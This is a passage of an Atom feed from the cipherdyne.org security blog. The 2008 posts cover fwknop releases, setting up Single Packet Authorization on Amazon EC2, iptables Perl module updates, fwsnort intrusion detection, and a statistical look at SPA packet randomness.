but "system", and "popen" are also supported.</li>
<li>Added IPT_EXEC_SLEEP to control the number of seconds that the
IPTables::ChainMgr module uses to delay between each iptables command.
The default is zero (no delay), but this can be increased to ensure that
iptables commands are issued at a slower pace.</li>
<li>Added IPT_EXEC_TRIES to allow critical iptables commands to be tried
multiple times (with a default of 1) in case there are any errors from
iptables execution.</li>
<li>Added --Override-config to fwknopd (suggested by Franck Joncourt) to
allow config variables in the normal /etc/fwknop/fwknop.conf file to be
superseded by values from other specified files.  The --Override-config
command line argument accepts a comma-separated list of multiple files
from which to import configuration variables from.</li>
<li>Added code to prefer the usage of the /usr/sbin/sendmail binary to send
email alerts before falling back to the mail binary (suggested by
Alexander Perlis).</li>
<li>Added --Dump-config to fwknopd (suggested by Franck Joncourt).</li>
<li>Added execution of --Dump-config to the test suite to collect the
installed version of the fwknop.conf and access.conf files (personal
information is anonymized).</li>
<li>Updated fwknopd to use the POSIX sys_wait_h API for SIGCHLD handling in
order to be more consistent with an example from the perlipc man page.</li>
<li>Updated fwknopd to pass in a reference to the SIGCHLD signal handler to
the IPTables::ChainMgr module so that all command executions via fork()
and exec() are associated with the same signal handler.</li>
<li>Updated to IPTables::ChainMgr version 0.8.</li>
<li>Updated to IPTables::Parse version 0.7.</li>
<li>(Test suite): Added time stamps to MSG and TEST lines for each test
(useful to see the relative time if an alarm expires).</li>
<li>(Test suite): Added tests for fwknopd --Override-config, --Dump-config,
and writing SPA packets to disk with the --Save-packet functionality (in
the fwknop client).</li>
<li>(Test suite): Added tests for IPT_EXEC_SLEEP delays for executing
iptables commands.</li>
<li>(Test suite): Added tests for Linux 'any' interface capture of SPA
packets on all interfaces.</li>
<li>(Test suite): Added the ability to collect output from knoptm to see
when requests are received from fwknopd and when rules are added and
removed.</li>
<li>Added version information for fwknopd to syslog startup message.</li>
<li>Bug fix for the fwknop client in symmetric key mode where the terminal
would not be taken out of 'noecho' mode if a password less than 8
characters long is provided.  Previous to this fix, it was necessary to
blindly type 'reset'.  (Reported by Alexander Perlis.)</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/11/software-release-fwknop-1.9.9.html</feedburner:origLink></entry>

<entry>
<title type="html">Single Packet Authorization and Amazon's Elastic Cloud (EC2) Service</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/3UINjxUlqIk/single-packet-authorization-and-amazons-elastic-cloud-ec2-service.html" />
<id>http://www.cipherdyne.org/blog/2008/11/single-packet-authorization-and-amazons-elastic-cloud-ec2-service.html</id>

<published>2008-11-08T21:01:30-05:00</published>
<updated>2008-11-08T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="http://digg.com/security/Amazon_s_Elastic_Cloud_EC2_Service_and_Single_Packet_Auth">
<img align="left" src="/images/digg_it.gif" title="Digg Single Packet Authorization on Amazon EC2" alt="Digg Single Packet Authorization on Amazon EC2" /></link><br />
<link type="text/html" href="http://aws.amazon.com/ec2/">
<img align="right" src="/images/aws_logo.gif" title="SPA for Amazon EC2 service" alt="SPA for Amazon EC2 service" /></link>
Recently on the fwknop mailing list,
<link type="text/html" href="http://sourceforge.net/mailarchive/forum.php?thread_name=389c43e40810292244s236e261y224f702e16a32eb1%40mail.gmail.com&amp;forum_name=fwknop-discuss">Mark V asked</link> whether Single Packet Authorization
is compatible with virtual Linux instances in Amazon's
<link type="text/html" href="http://aws.amazon.com/ec2/">Elastic Cloud (EC2)</link> computing
service.  After signing up for an account and running a few tests, it turns out that
fwknop can function properly on an EC2 instance and wrap an SPA hardening layer around SSHD.
The Amazon online documentation on how to
<link type="text/html" href="http://docs.amazonwebservices.com/AWSEC2/latest/DeveloperGuide/AccessingInstancesLinux.html">access Linux instances</link>
over SSH recommends adding new rules for each IP source address you want to
use to access SSHD, which can become tiresome if you are on a network running DHCP.  With
fwknop, you don't need to do any such thing - you can access SSHD via SPA from anywhere,
and anyone else scanning for SSHD on the instance can't even tell that it is listening.
<br /><br />
To re-create the steps listed in this blog post, it is necessary to have
<link type="text/html" href="http://aws-portal.amazon.com/gp/aws/developer/subscription/index.html?productCode=AmazonEC2">signed up</link>
for an EC2 account and to have created an
<link type="text/html" href="http://docs.amazonwebservices.com/AWSEC2/2007-03-01/GettingStartedGuide/">SSH keypair</link>
so that instances can be launched from the command tools provided by Amazon.  For
this post, all commands on the fwknop client side are executed on an Ubuntu 8.04
system to gain access into the Amazon cloud.

<br /><br />
First, let's launch a new virtual instance of Fedora 8 (the command
<b>ec2-describe-images -o self -o amazon</b> can be used to find instance identifiers
for Fedora 8 systems):
<pre>
[ubuntu]$ ec2-run-instances ami-abcd1234 -k cdyne-keypair
RESERVATION    r-abcd1234   111111114274    default
INSTANCE       i-abcd1234   ami-abcd1234    pending cdyne-keypair   0
m1.small       2008-11-07T20:18:43+0000     us-east-1c   aki-abcd1234
ari-abcd1234

[ubuntu]$ ec2-describe-instances i-abcd1234
RESERVATION     r-abcd1234  111111114274    default
INSTANCE        i-abcd1234  ami-abcd1234
ec2-70-100-249-20.compute-1.amazonaws.com
domU-12-31-00-00-00-00.compute-1.internal   running cdyne-keypair   0
m1.small        2008-11-07T20:18:43+0000    us-east-1c   aki-abcd1234
ari-abcd1234
</pre>

Now, we allow SSH access temporarily from the Ubuntu IP address (which will be
managed by fwknop after we get it installed and set up instead).  We also allow
all UDP packets over port 62201 through from any IP since this is the default port
and protocol used by fwknop to send SPA packets, and we need such packets to reach
far enough into the cloud so that it will be seen by the fwknopd sniffer running
on the Fedora 8 instance:

<pre>
[ubuntu]$ ec2-authorize default -p 22 -s 123.1.1.1/32
GROUP       default
PERMISSION  default ALLOWS  tcp  22  22  FROM  CIDR  123.1.1.1/32

[ubuntu]$ ec2-authorize default -P udp -p 62201
GROUP       default
PERMISSION  default ALLOWS  udp  62201  62201
</pre>

We can now log into the instance as root:

<pre>
[ubuntu]$ ssh -i cdyne-keypair root@ec2-70-100-249-20.compute-1.amazonaws.com
The authenticity of host 'ec2-70-100-249-20.compute-1.amazonaws.com
(70.100.249.20)' can't be established.
RSA key fingerprint is 2a:aa:aa:c9:6f:aa:aa:aa:a0:48:7d:db:d6:aa:aa:aa.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'ec2-70-100-249-20.compute-1.amazonaws.com,
70.100.249.20' (RSA) to the list of known hosts.

         __|  __|_  )  Fedora 8
         _|  (     /    32-bit
        ___|\___|___|

 Welcome to an EC2 Public Image
                       :-)
    Base

 --[ see /etc/ec2/release-notes ]--
</pre>

We have a shiny new EC2 instance running Fedora 8.  For fwknop to run properly, we'll
need the <i>perl-devel</i> and <i>libpcap-devel</i> packages installed, and then we'll
install fwknop (some output below has been abbreviated) and configure the
<i>/etc/fwknop/access.conf</i> file for SPA access to SSHD.  We also add
iptables rules to allow packets that are part of established connection through, and
drop all other attempts to communicate with SSHD.  Finally, we start fwknopd:

<br /><br />
<code>
[root@domU-12-31-00-00-00-00 ~]# yum install perl-devel libpcap-devel<br />
[root@domU-12-31-00-00-00-00 ~]# cd /usr/local/src/<br />
[root@domU-12-31-00-00-00-00 src]# wget http://www.cipherdyne.org/fwknop/download/fwknop-1.9.9-pre7.tar.gz<br />
[root@domU-12-31-00-00-00-00 src]# tar xfz fwknop-1.9.9-pre7.tar.gz<br />
[root@domU-12-31-00-00-00-00 src]# cd fwknop-1.9.9-pre7<br />
[root@domU-12-31-00-00-00-00 fwknop-1.9.9-pre7]# ./install.pl<br />
[...]<br />
[+] It appears that the following network interfaces are attached to the<br />
    system:<br />
        eth0<br />
        lo<br />
    Which network interface would you like fwknop to sniff packets from?  eth0<br />
<br />
[root@domU-12-31-00-00-00-00 ~]# cat &gt; /etc/fwknop/access.conf<br />
SOURCE: ANY;<br />
OPEN_PORTS: tcp/22;<br />
KEY: thisisatestkey;<br />
FW_ACCESS_TIMEOUT: 30;<br />
<br />
[root@domU-12-31-00-00-00-00 ~]# iptables -F<br />
[root@domU-12-31-00-00-00-00 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT<br />
[root@domU-12-31-00-00-00-00 ~]# iptables -A INPUT -p tcp --dport 22 -j DROP<br />
[root@domU-12-31-00-00-00-00 ~]# /etc/init.d/fwknop start<br />
Starting fwknopd:[  OK  ]
</code>
<br /><br />

In the installation of fwknop above, we selected eth0 as the Ethernet interface
that fwknopd sniffs for SPA packets, and then we configured the <i>/etc/fwknop/access.conf</i>
file with a symmetric key for SPA access to SSHD over TCP port 22.  Also, with
iptables now deployed to drop SSH communications, we cannot even see that SSHD is
listening under an nmap scan:

<pre>
[ubuntu]$ nmap -P0 -p 22 -sT ec2-70-100-249-20.compute-1.amazonaws.com

Starting Nmap 4.53 ( http://insecure.org ) at 2008-11-08 01:33 EST
Interesting ports on ec2-70-100-249-20.compute-1.amazonaws.com
(70.100.249.20):
PORT   STATE    SERVICE
22/tcp filtered ssh
</pre>

This is where fwknop comes in.  After running the fwknop client and typing
the shared encryption key, we can now access the Fedora 8 instance with SSH:

<pre>
[ubuntu]$ fwknop -A tcp/22 -a 123.1.1.1
-D ec2-70-100-249-20.compute-1.amazonaws.com

[+] Starting fwknop client (SPA mode)...
[+] Resolving hostname: ec2-70-100-249-20.compute-1.amazonaws.com
[+] Enter an encryption key. This key must match a key in the file
    /etc/fwknop/access.conf on the remote system.

Encryption Key:

[+] Building encrypted Single Packet Authorization (SPA) message...
[+] Packet fields:

        Random data:    9189958885117496
        Username:       mbr
        Timestamp:      1226119984
        Version:        1.9.9-pre7
        Type:           1 (access mode)
        Access:         123.1.1.1,tcp/22
        SHA256 digest:  EPOjHE2ANS3Fe3MHxDpok13qHDGbYziFiohv6CyHQXs

[+] Sending 161 byte message to 70.100.249.20 over udp/62201...

[ubuntu]$ ssh -i cdyne-keypair root@ec2-70-100-249-20.compute-1.amazonaws.com

         __|  __|_  )  Fedora 8
         _|  (     /    32-bit
        ___|\___|___|

 Welcome to an EC2 Public Image
                       :-)
    Base
</pre>

In his original post, Mark had suggested a tighter level of integration with
Amazon's EC2 service by building in some notion of instance identifiers into
SPA communications.  With the basic network access now validated and SPA in
its raw form demonstrated to be compatible with EC2, additional integration
points can be achieved.  Incidentally, port knocking would also be compatible
with the EC2 service, but I would not recommend using it because port knocking
would <i>look</i> like a port scan to any IDS that Amazon may have deployed to
monitor the cloud network.  With SPA, only a single packet with an encrypted
payload is involved, and this is unlikely to trigger an IDS alarm.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/11/single-packet-authorization-and-amazons-elastic-cloud-ec2-service.html</feedburner:origLink></entry>

<entry>
<title type="html">fwknop Uploaded to Debian Sid</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/mQqXqjYCl7U/fwknop-uploaded-to-debian-sid.html" />
<id>http://www.cipherdyne.org/blog/2008/10/fwknop-uploaded-to-debian-sid.html</id>

<published>2008-10-28T21:01:30-05:00</published>
<updated>2008-10-28T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="http://www.debian.org/">
<img align="right" src="/images/debian_logo.png" title="fwknop in Debian sid" alt="fwknop in Debian sid" /></link>
After a few months of development, fwknop is now available as a Debian
package in the <link type="text/html" href="http://www.debian.org/releases/unstable/">Debian Sid</link>
distribution.  Hopefully it won't be too long before it is also available through
the Debian stable repository.  Thanks to <link type="text/html" href="http://smhteam.info/wiki/"><b>Franck Joncourt</b></link>
for developing the fwknop Debian package, and he has also created packages of
gpgdir and fwsnort as well.  To view fwknop in the APT package cache
the following steps will do the trick:

<br /><br />
<code>
# cat &gt;&gt; /etc/apt/sources.list<br />
deb http://http.us.debian.org/debian/ unstable main<br />
deb-src http://http.us.debian.org/debian/ unstable main<br />
<br />
# apt-cache policy fwknop-server<br />
fwknop-server:<br />
  Installed: 1.9.8-1<br />
  Candidate: 1.9.8-1<br />
  Version table:<br />
 *** 1.9.8-1 0<br />
        500 http://http.us.debian.org unstable/main Packages<br />
        100 /var/lib/dpkg/status
</code>
<br /><br />

The sources associated with the package can be
<link type="text/html" href="http://git.debian.org/?p=collab-maint/fwknop.git;a=summary">visualized with git</link>
as well.
<br /><br />

On another note, fwknop is also now available within the
<link type="text/html" href="http://aur.archlinux.org/packages.php?ID=20630">Archlinux distribution</link>, and
the two IPTables::* perl modules that fwknop depends on (IPTables::ChainMgr and
IPTables::Parse) are now
<link type="text/html" href="http://search.cpan.org/search?query=iptables&amp;mode=all">available on CPAN</link>.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/10/fwknop-uploaded-to-debian-sid.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - IPTables perl modules</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/5gTr41hP_lg/software-release-iptables-perl-modules.html" />
<id>http://www.cipherdyne.org/blog/2008/10/software-release-iptables-perl-modules.html</id>

<published>2008-10-18T21:01:30-05:00</published>
<updated>2008-10-18T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/modules">
<img align="right" src="/images/release.png" title="IPTables::Parse and IPTables::ChainMgr release" alt="IPTables::Parse and IPTables::ChainMgr release" /></link>
New versions (0.7 and 0.8) of the <b>IPTables::Parse</b> and <b>IPTables::ChainMgr</b>
modules are available for <link type="text/html" href="/modules">download</link>, and Trac is now
setup to <link type="text/html" href="http://trac.cipherdyne.org/trac/modules">visualize</link> the module
sources.  <link type="text/html" href="http://smhteam.info/wiki">Franck Joncourt</link> has also packaged
both modules for the Debian Linux distro:
<link type="text/html" href="http://www.dthconnex.com/packages/libiptables-parse-perl_0.7-1_all.deb">libiptables-parse-perl_0.7-1_all.deb</link>
and
<link type="text/html" href="http://www.dthconnex.com/packages/libiptables-chainmgr-perl_0.8-1_all.deb">libiptables-chainmgr-perl_0.8-1_all.deb</link>.  The IPTables::Parse and IPTables::ChainMgr modules provide important
functionality to all three of the psad, fwsnort, and fwknop projects.
<br /><br />
In psad, the IPTables::Parse module is primarily used to look for default logging
rules in the INPUT and FORWARD chains in the local iptables policy.  Such rules are
necessary for psad to detect port scans and other malicious traffic
because it uses iptables log information as its data source.  Traffic
that does not hit an ACCEPT rule should normally be logged and dropped anyway, and
psad tries to programmatically determine whether the iptables policy is indeed
configured in this way.  The IPTables::ChainMgr module is also used by psad to add
and delete new blocking rules against malicious IP addresses whenever automatic
responses are configured (see the ENABLE_AUTO_IDS variable in the /etc/psad/psad.conf
file).
<br /><br />
fwknop uses the IPTables::ChainMgr module to add ACCEPT rules for IP addresses that
have been properly authenticated either by generating a proper port knocking
sequence (which is parsed out of iptables log messages), or by sending a valid
<link type="text/html" href="/fwknop/docs/SPA.html">SPA</link> message.  The knoptm daemon then uses the
IPTables::ChainMgr to delete any rules that were added by the fwknopd daemon after
a configurable time delay.
<br /><br />
fwsnort uses the IPTables::Parse module to look for iptables rules that block
traffic that matches the transport layer criteria in translated Snort rules.
That is, if the iptables policy blocks all attempts to communicate with a web
server, then it is pointless to translate Snort rules that are designed
to detect attacks against web servers.  While fwsnort uses the iptables state
tracking modules to ensure that application layer attacks are only searched for
in established TCP connections (so spoofing a TCP packet with a malicious payload
does not cause an event to be generated), if the iptables policy blocks all
traffic anyway for some particular TCP port then it is more efficient to exclude
signatures that detect attacks on this port.
<br /><br />
The updates to the IPTables::ChainMgr module are as follows (and similar changes
have been made to the IPTables::Parse module as well):
<br /><br />
<ul>
<li>Added the ability to control the iptables execution model.  The default is to
use waitpid(), but other options are to use system() or popen().</li>
<li>Added the ability to introduce a configurable time delay between each
iptables command.</li>
<li>Added the ability to use a function reference for the SIGCHLD signal
handler.</li>
<li>Added the ability to configure the number of seconds used as the alarm
timeout for iptables command execution in the waitpid() execution model.</li>
<li>Passed IPTables::ChainMgr options for the execution model, configurable
alarm timeouts, the SIGCHLD signal handler reference, and the configurable
number of seconds for additional sleeps between iptables commands to the
IPTables::Parse module.</li>
<li>Bugfix for SIGALRM handling to be more consistent with an example from
the perlipc man page.</li>
<li>Added append_ip_rule() so that new iptables rules can be appended to the
end of a chain instead of just inserted at a particular rule number.</li>
</ul>
This software release moves the state of both modules closer to being ready for
submission to CPAN, and I've applied for a CPAN developer account to get this
process rolling.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/10/software-release-iptables-perl-modules.html</feedburner:origLink></entry>

<entry>
<title type="html">ISSA Journal's Toolsmith on fwsnort and iptables IDS</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/VhXZMBvUSOQ/issa-journals-toolsmith-on-fwsnort-and-iptables-ids.html" />
<id>http://www.cipherdyne.org/blog/2008/10/issa-journals-toolsmith-on-fwsnort-and-iptables-ids.html</id>

<published>2008-10-02T21:01:30-05:00</published>
<updated>2008-10-02T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="http://holisticinfosec.org">
<img align="right" src="/images/holisticinfosec_logo.png" title="ISSA Toolsmith on fwsnort" alt="ISSA Toolsmith on fwsnort" /></link>
<link type="text/html" href="http://holisticinfosec.blogspot.com/">Russ McRee</link> of <link type="text/html" href="http://holisticinfosec.org">holisticinfosec.org</link>
has written the October <link type="text/html" href="http://holisticinfosec.org/content/view/12/26/">Toolsmith</link>
issue from the ISSA Journal about <link type="text/html" href="/fwsnort/">fwsnort</link> and intrusion detection.
Russ emphasizes practical usages of fwsnort with tuning the Snort signature set it translates into
an iptables policy, and after using fwsnort to build a detection policy, he sends several example
attacks at a webserver.  These attacks include directory traversal, XSS, and CSRF attacks, and
he illustrates how the attacks are detected by fwsnort via the iptables log messages it generates.
Here is an attack identified as <b>ET WEB-MISC Poison Null Byte</b> by Snort rule ID 2003099, and
below is the log message generated by fwsnort when the attack is sent against a webserver:
<br /><br />
<code>
alert tcp $EXTERNAL_NET any -&gt; $HTTP_SERVERS $HTTP_PORTS
(msg:"ET WEB-MISC Poison Null Byte"; flow:established,to_server;
uricontent:"|00|"; depth:400; reference:cve,2006-4542; reference:cve,2006-4458;
reference:cve,2006-3602;
reference:url,www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf;
classtype: web-application-activity; sid:2003099; rev:3;)
<br /><br />
Sep 4 16:59:45 holisticinfosec01 kernel: [29567.666562] [234]
SID2003099 ESTAB IN=eth0 OUT= MAC=00:0c:6e:3c:b4:71:00:13:e8:e8:81:37:08:00
SRC=192.168.248.101 DST=192.168.248.104 LEN=40 TOS=0x00 PREC=0x00
TTL=128 ID=24638 DF PROTO=TCP SPT=7987 DPT=80
WINDOW=16126 RES=0x00 ACK URGP=0
</code>
<br /><br />
Note the iptables log prefix "<b>[234] SID2003099 ESTAB</b>" above.  This indicates
that rule number 234 (from the custom FWSNORT_INPUT_ESTAB chain in this case which is
jumped to from the built-in INPUT chain) matched traffic described by
Snort rule ID 234, and that the match took place in an ESTABLISHED TCP connection.
By using the iptables state tracking extensions, fwsnort matches up TCP connection
states to packets on the wire in order to emulate the Snort <b>flow</b> keyword -
at least to the extent that bi-directional communication is required before an
event is generated.
<br /><br />
Russ also mentions the fwsnort <b>--ipt-drop</b> and <b>--ipt-reject</b> command
line arguments that change the stance of fwsnort from a detection engine to a
mechanism that can drop malicious packets before forwarding them to their intended
target.  Given that iptables is firewall, it runs inline to network traffic by
definition, and therefore is in ideal position to respond in this way.
<br /><br />

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/10/issa-journals-toolsmith-on-fwsnort-and-iptables-ids.html</feedburner:origLink></entry>

<entry>
<title type="html">Software Release - fwknop-1.9.8</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/NoC8DzE-5vE/software-release-fwknop-1.9.8.html" />
<id>http://www.cipherdyne.org/blog/2008/10/software-release-fwknop-1.9.8.html</id>

<published>2008-10-01T21:01:30-05:00</published>
<updated>2008-10-01T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>
<link type="text/html" href="/fwknop">
<img align="right" src="/images/release.png" title="software release fwknop-1.9.8" alt="software release fwknop-1.9.8" /></link>
The 1.9.8 release of <link type="text/html" href="/fwknop">fwknop</link> is ready for <link type="text/html" href="/fwknop/download">download</link>.
This release introduces support for SPA packets encrypted with gpg2, fixes issues
around the usage of GnuPG options files (fwknop now does not reference them at
all by default, but there are new --gpg-use-options and GPG_USE_OPTIONS directives
to override this), and adds configurable base64 encoded prefixes.  Normally the
fwknop client strips the 'hQ' prefix (base64 encoded 0x8502) before sending an SPA
packet encrypted with GnuPG out on the wire, and the fwknopd server adds it back
in before base64 decoding.  This is to make it
<link type="text/html" href="/blog/2008/09/visualizing-spa-packet-randomness.html">more difficult</link>
to write Snort rules to detect fwknop communications.
<br /><br />
Here is the complete
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/browser/fwknop/tags/fwknop-1.9.8/ChangeLog">ChangeLog</link>:
<br /><br />
<ul>
<li>Made the updated UI from Sean Greven available on cipherdyne.org.  This
update fixes the timezone problem so that SPA packets generated by the
UI will be properly handled by an fwknopd server.</li>
<li>Added GPG_NO_REQUIRE_PREFIX to access.conf to control whether the GnuPG
'hQ' prefix is added before base64 decoding and decrypting.  Normally
this is not needed, but if there appear to be communications issues
between the fwknop client and the fwknopd server then this option can be
useful to ensure that encrypted SPA data is sent through the GnuPG
decryption routine.  The 'hQ' prefix is a heuristic derived from the
file 'magic' database for describing data encrypted with GnuPG, and the
fwknop client normally strips this data from outgoing SPA packets
(unless the --Include-gpg-prefix option is used).</li>
<li>Added 'GPG_PATH &lt;path&gt; to fwknopd (via access.conf) so that different
paths to the gpg binary can be specified on a per-SOURCE basis.  This
allows one SOURCE stanza to apply one gpg binary to decrypt incoming SPA
packets (say /usr/bin/gpg), and another SOURCE stanza to apply to another
gpg binary (say /usr/bin/gpg2).  In this way, fwknop/fwknopd now
supports gpg2 in addition to gpg.</li>
<li>Bugfix to make sure that neither fwknop nor fwknopd reference any
options file in GnuPG mode, and this is now the default (which overrides
the now unnecessary --gpg-no-options arg).  There is a new option
--gpg-use-options and GPG_USE_OPTIONS to restore the usage of an options
file by GnuPG by fwknop and fwknopd (not normally needed).</li>
<li>Added '--gpg-prefix &lt;bytes&gt; to the fwknop client so that the
predictable prefix for GnuPG encrypted data can be changed.  Normally
this prefix is 'hQ' (base64 encoded), or the raw bytes 0x8502.</li>
<li>Added the ability to control the path used for the gpg binary on the
client side with a new argument '--gpg-path &lt;path&gt; and on the server
side with gpgCmd in the fwknop.conf file.  The GnuPG::Interface module
normally just takes the first instance of gpg that is the current path,
but this new feature allows the path to the binary to be explicitly set.</li>
<li>Added --Save-packet-append to allow SPA packets to be appended to the
--Save-packet-file in --Save-packet mode.  This allows multiple SPA
packets to more easily be stored for closer examination (i.e. to make
sure randomness is high or to test encryption properties over large
sets of SPA packets).</li>
<li>Updated fwknopd to enforce the DIGEST_TYPE variable more strictly by not
accepting SPA packets that do not include digest of the specified type.
The DIGEST_TYPE default is 'ALL', so normally fwknopd accepts any
supported digest.</li>
<li>Bugfix to make sure to apply BLACKLIST checks to IP addresses specified
with -a (or derived via -R) in addition to the source IP in the IP
header (which can be modified via --Spoof-src).  (Franck Joncourt
submitted a patch for this.)</li>
<li>Bugfix to ensure that the permissions for the
/var/run/fwknop/knopwatchd.pid file are set to 0600 (noticed by Franck
Joncourt).</li>
<li>Bugfix to remove the Net::IPv4Addr dependency in the fwknop client and
knoptm daemon (Franck Joncourt).</li>
<li>(Test suite) Added the base64_byte_frequency.pl script to the test/
directory.  This script parses files that contain base64 encoded data
(one record per line), and produces data files that can be graphed with
Gnuplot in order to visualize SPA packets.  The new --Save-packet-append
argument makes it easy to generate large collections of SPA packets with
the fwknop client, and this data can then be parsed by
base64_byte_frequency.pl to look for features that are common across SPA
packets (this should be minimized because every fwknop SPA packet contains
16 bytes of random data).</li>
<li>(Test suite) Added tests for GPG_NO_REQUIRE_PREFIX functionality and for
the expected GnuPG prefix.</li>
<li>(Test suite) Added tests for GnuPG version 2 (a check is made to see if
it is installed before these tests are run).</li>
</ul>

</p>
</div>
</content>
<feedburner:origLink>http://www.cipherdyne.org/blog/2008/10/software-release-fwknop-1.9.8.html</feedburner:origLink></entry>

<entry>
<title type="html">Visualizing SPA Packet Randomness</title>
<author>
<name>Michael Rash</name>
</author>
<link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/cipherdyne/yoUq/~3/ssFFs-gfHIw/visualizing-spa-packet-randomness.html" />
<id>http://www.cipherdyne.org/blog/2008/09/visualizing-spa-packet-randomness.html</id>

<published>2008-09-18T21:01:30-05:00</published>
<updated>2008-09-18T21:01:30-05:00</updated>

<content type="xhtml">
<div xmlns="http://www.w3.org/1999/xhtml">
<p>

<link type="text/html" href="/fwknop/">
<img align="right" src="/images/random_dice.jpg" title="fwknop SPA packet randomness" alt="fwknop SPA packet randomness" width="200" height="150" /></link>
A key advantage to using <link type="text/html" href="/fwknop/docs/SPA.html">Single Packet Authorization</link> (SPA) over
port knocking is the fact that it is trivially easy to harden SPA packets against replay
attacks by including a significant number of random bytes within each SPA packet.  Then, by
tracking the SHA-256 message digest (or the digest from some other suitable cryptographic
hashing algorithm) for all incoming SPA packets, the server can enforce that only unique
SPA packets ever result in elevated access through a default-drop firewall policy.  Any
duplicate SPA packet will match a previously calculated digest, and such a packet is
therefore flagged as a replay attack (subject to the usual concerns surrounding the
minuscule chance of a hash collision - though for SHA-256 this is exceedingly unlikely).
In the case of SPA packets generated by the fwknop client, a full <b>16 bytes</b> of
random data is included at the beginning of each packet before it is encrypted.
<br /><br />
Another benefit of randomizing SPA packet data - beyond thwarting replay attacks - is that
it becomes more difficult to write signatures for intrusion detection systems to detect
SPA traffic.  The structure of SPA packets generated by the fwknop client is designed to
minimize sections that remain the same from one invocation of the client to the next -
such identifying sections could be used to write Snort rules to detect fwknop SPA
packets.  This
<link type="text/html" href="/blog/2008/08/hakin9-article-advanced-spa-with-fwknop.html">blog post</link>
contains examples of such Snort rules which look for the base64-encoded versions of
the string "<b>Salted__</b>" or the hex bytes "<b>0x8502</b>" at the very beginning
of UDP packets over port 62201 (the default port used by fwknop).  There is also a
rule to look for trailing '=' characters at the end of such packets in order to
detect the marker used by base64 encoding when the length of the original data is
not a multiple of four.  These predictable bytes are artifacts of the Crypt::CBC
module, GnuPG, or base64 encoding itself, but any recent release of fwknop strips these bytes
out of SPA packets before sending them on the wire.  The fwknopd server adds them back
in if necessary before attempting to base64 decode and decrypt incoming SPA packets.
<br /><br />
So, given that fwknop uses
<link type="text/html" href="http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation#Cipher-block_chaining_.28CBC.29">CBC mode</link>
for symmetric encryption and random bytes are at the very beginning of the payload
data, one would expect that SPA packets from fwknop - when viewed via a sniffer - are
essentially random variations of base64-encoded data, correct?  And this should remain
true across all SPA packets that are encrypted with the same encryption key, and even
across the same access requests?
<br /><br />
Let's see how close fwknop gets to this...
<br /><br />
What we need to see is the distribution of byte values across each byte position in
a large sampling of SPA packets.  That is, for the first byte in each packet across
our sample, can we find a relation to any of the other first bytes in the other packets?
This process needs to be repeated across all bytes in every packet.  To rigorously
test for randomness properties we could also get more sophisticated and use the
<link type="text/html" href="http://csrc.nist.gov/groups/ST/toolkit/rng/index.html">NIST Statistical Test Suite</link>,
but for now we'll just focus on using Gnuplot to visualize the byte distribution
across two sets of 20,000 SPA packets.  If Gnuplot shows any recognizable
features or relationships across our sample sets, then we know that we have more work
to do.  For reference, if you want to duplicate the analysis in this blog post or
perform your own analysis of the SPA packet data sets (20,000 packets each), you can
<link type="text/html" href="/fwknop/download/SPA_packet_data_sets.tar.gz">download them</link>.
<br /><br />
We need two capabilities: <b>1)</b> the ability to automatically generate
20,000 SPA packets with the fwknop client and store them in a file (one packet to
a line), and <b>2)</b> the ability to parse the file and count the number of
different characters in each byte position across all 20,000 SPA packets and print
this data to a file so that it can be graphed.  These goals are accomplished with
<link type="text/html" href="http://trac.cipherdyne.org/trac/fwknop/changeset/1241">this patch</link>
to fwknop (which adds a new command line argument <i>--Save-packet-append</i> to be
released in fwknop-1.9.8) and this script
<link type="text/html" href="/scripts/base64_byte_frequency.pl.tar.gz">base64_byte_frequency.pl</link>
respectively.
<br /><br />
Now, let's collect the first set of 20,000 SPA packets. Each packet is encrypted
in this case with the Rijndael cipher, and we use the <i>--Include-salted</i> and
<i>--Include-equals</i> command line arguments to produce SPA packets that are
compatible with older fwknopd servers:

<br /><br />
<code>
[spaclient]$ for ((i=1;i&lt;=20000;i+=1)); do fwknop -A tcp/22
-a 127.0.0.1 -D 127.0.0.1 --Save-packet --Save-packet-file
spa_artifacts.pkts --Save-packet-append --get-key spa.pw
--Include-salted --Include-equals &gt; /dev/null; echo $i; done<br />
1<br />
2<br />
3<br />
...<br />
19998<br />
19999<br />
20000<br />
[spaclient]$ head -n 2 spa_artifacts.pkts<br />
U2FsdGVkX1/s7OmvQtYk9UnQuGg8htJ+19pru9NdhflmGhS9d/9fFET7jnPKWsk3/lnd
CbGprkkUBkEYXNORP8RU8ZhkCS+pexZ2J+FbQzmwiuD7/9nA1DAmBGnUQi7mLyZYtOGm
